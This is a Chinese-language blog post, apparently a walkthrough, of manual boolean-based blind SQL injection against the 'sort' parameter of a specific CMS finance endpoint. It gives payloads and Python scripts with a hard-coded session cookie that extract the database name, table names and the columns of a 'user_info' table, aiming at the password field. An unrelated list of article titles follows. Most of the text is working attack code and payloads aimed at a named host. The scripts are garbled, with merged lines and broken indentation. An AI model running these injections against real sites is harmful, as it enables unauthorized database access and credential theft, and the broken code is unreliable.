发现存在sql注入漏洞

简单一点可以直接用sqlmap工具暴库

但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库

首先hachbar开启

获取cms登录后的sessionid值

开始构造sql payload

获取数据库名的长度:

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (length(database())=8) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

手工猜解需要从1往后遍历,当为8时,猜解成功

做sql手工注入的,主要是这个猜解的过程比较麻烦,大量的重复工作,所以需要做成python自动化

实现脚本如下:

# -*- encoding:utf-8 -*-#user()

#database()

import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''

for i in range(1,300):

url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print lengthif length == 9459:

print ("数据库长度为:%d" %i)

print(rs.text)

#string +=j

#break# printstring#print(rs.text)

猜解数据库完整的名字

payload

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (substr(database(),1,1)=char(71)) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))&order=desc

substr(database(),1,1 ,第一个1,表示字符串的第几位,第二个1,表示截取一位,这样,就可以逐字符猜解

# -*- encoding:utf-8 -*-import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}

#dic1='3_abcdefghijklmnopqrstuvwxyz'dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_^~]}\|[{?>=

for i in range(1,92):

# leng= len(string)

#if leng == 8:for j indic:

#leng= len(string)#if leng == 8:#m=str(ord(j))

#print (m)

m=j

url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': '(SELECT (CASE WHEN (substr(database(),{0},1)=char({1})) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))'.format((i),ord(m))}

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print (j)

print (body)

#print lengthif length == 9459:

print ("数据库第%d个字符是:%s:" %(i, j))

m=str(ord(j))string +=j

i=i+1print (m)

print (i)

# n=','# m+=n

# print (m)breakprint ("数据库是:%s" % string)

#breakprint (i)

# print ("数据库第%d个字符是:%s:" %(i,j))

# print ("数据库是:%s" % string)

#if length == 9459:

# print ("数据库长度为:%d" %i)

# print(rs.text)

#string +=j

#break# printstring#print(rs.text)

猜解表名:

1.猜解第204张表名的长度:

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)=9) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)

)&order=desc

# -*- encoding:utf-8 -*-#user()

#database()

import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''

for i in range(1,300):

url='http://yucms.hhlyty.cn/finance/account/accountList'#body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

# body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中第204张表名的长度

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print lengthif length == 9459:

print ("数据库长度为:%d" %i)

print(rs.text)

#string +=j

#break# printstring#print(rs.text)

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 204,1)))=117) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

1表示表名的第一个字符

204表示数据库中的第204张表

117表示第一个字符的ascii编码

猜解列名:

1.首先猜测表中字段的个数

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select count(*) from information_schema.columns where table_schema=database() and table_name='user_info')=36) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

2.逐个字段猜解:

猜解密码字段:

猜解第204张表user_info表第一个字段的长度:

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(column_name) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)=7) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

猜解第一个列名的长度:

猜解字段名字:

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(column_name,1,1) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)))=85) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

猜解字段名的第一个字符为85

python sql注入脚本_python辅助sql手工注入猜解数据库案例分析相关推荐

  1. python编程思维代码_Python编程快速上手——强口令检测算法案例分析

    本文实例讲述了Python强口令检测算法.分享给大家供大家参考,具体如下: 强口令检测 题目如下: 写一个函数,它使用正则表达式,确保传入的口令字符串是强口令.强口令定义:长度不少于8个字符,同时包含 ...

  2. 一条标准SQL语句是怎么执行之“步步惊心”过程详解与案例分析

    SQL逻辑执行过程详解(限标准SQL) 表与数据 -- 1 创建 HR.Employees表 CREATE TABLE HR.Employees (empid INT NOT NULL IDENTIT ...

  3. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  4. mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程

    0x00 SQL注入的语句介绍 SQL注入的本质 sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作. mysql> use security ...

  5. SQL注入实战————1、MySQL手工注入实战

    无意中发现了一个巨牛巨牛的人工智能教程,忍不住分享一下给大家.教程不仅是零基础,通俗易懂,小白也能学,而且非常风趣幽默,还时不时有内涵段子,像看小说一样,哈哈-我正在学习中,觉得太牛了,所以分享给大家 ...

  6. python ddos攻击脚本_python版本DDOS攻击脚本

    今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDdos.py:#!/usr/bin/env pytho ...

  7. python编程加减法_python编程题之二进制加减法运算的案例分析

    python编程题之二进制加减法运算的案例分析 发布时间:2020-10-27 09:24:11 来源:亿速云 阅读:62 作者:小新 小编给大家分享一下python编程题之二进制加减法运算的案例分析 ...

  8. Python之网络爬虫(selenium爬取动态网页、爬虫案例分析、哈希算法与RSA加密)

    文章目录 一.selenium爬取动态网页 二.爬虫案例分析 三.哈希hash算法与RSA加密 一.selenium爬取动态网页 1.动态网页认知 爬虫其实就是在模仿浏览器的行为 应对要多次数据的交互 ...

  9. python sql注入脚本_python打造一个分析网站SQL注入的脚本

    1 importrequests,re,time,os2 from tqdm importtqdm3 from bs4 importBeautifulSoup4 defzhuru():5 global ...

最新文章

  1. python—Celery异步分布式
  2. python读什么英文-Python编程但英语差,能用中文吗?
  3. bzoj 3365: [Usaco2004 Feb]Distance Statistics 路程统计【容斥原理+点分治】
  4. SAP S/4HANA Layer Repository(LREP)的读取逻辑调试
  5. 289B. Polo the Penguin and Matrix
  6. Spring的任务调度@Scheduled注解——task:scheduler和task:executor的解析
  7. PDE抛物型方程数值解法总结与例题分析
  8. 前端date format_前端面试-手撕代码篇
  9. xgboost的原理没你想像的那么难
  10. 学习遗忘曲线_级联相关,被遗忘的学习架构
  11. CGLIB实现AOP,MethodInterceptor接口和Enhancer详解——Spring AOP(四)
  12. 20个有用正则表达式
  13. 什么是蒙特卡罗仿真?
  14. nanomsg 高性能通信库_NanoMsg框架|C#中Nanomsg的PAIR和BUS使用
  15. Linux加密框架中的算法和算法模式(2)——模式介绍
  16. 一年365天,把1.0作为每天的能力值基础,每天原地踏步 则能力值为1.0,如果每天努力一点点则能力值提高1%,每天再努力一点则能力值提高2%,那一年后,这3种行为收获的成果相差多少呢?
  17. 解决Win7的一个毛病——睡眠失效(只关闭显示器,不关主机)
  18. Fabric - chaincode开发模式
  19. 关于卷积神经网络细节的深入理解
  20. 关于App的数据统计和分析

热门文章

  1. 透明化网络管理,事前处理实现轻松运维
  2. 对AOP切面的一些整理与理解
  3. VBA_输出SQL查询数据
  4. 2、Android构建本地单元测试
  5. Groovy轻松入门——通过与Java的比较,迅速掌握Groovy (更新于2008.10.18)
  6. OBJECT_MODE
  7. C#控件及常用属性整理
  8. Linux下Nginx的安装和配置
  9. 数据库-使用DataReader的简单实例(两种办法)
  10. Attribute和Property的区别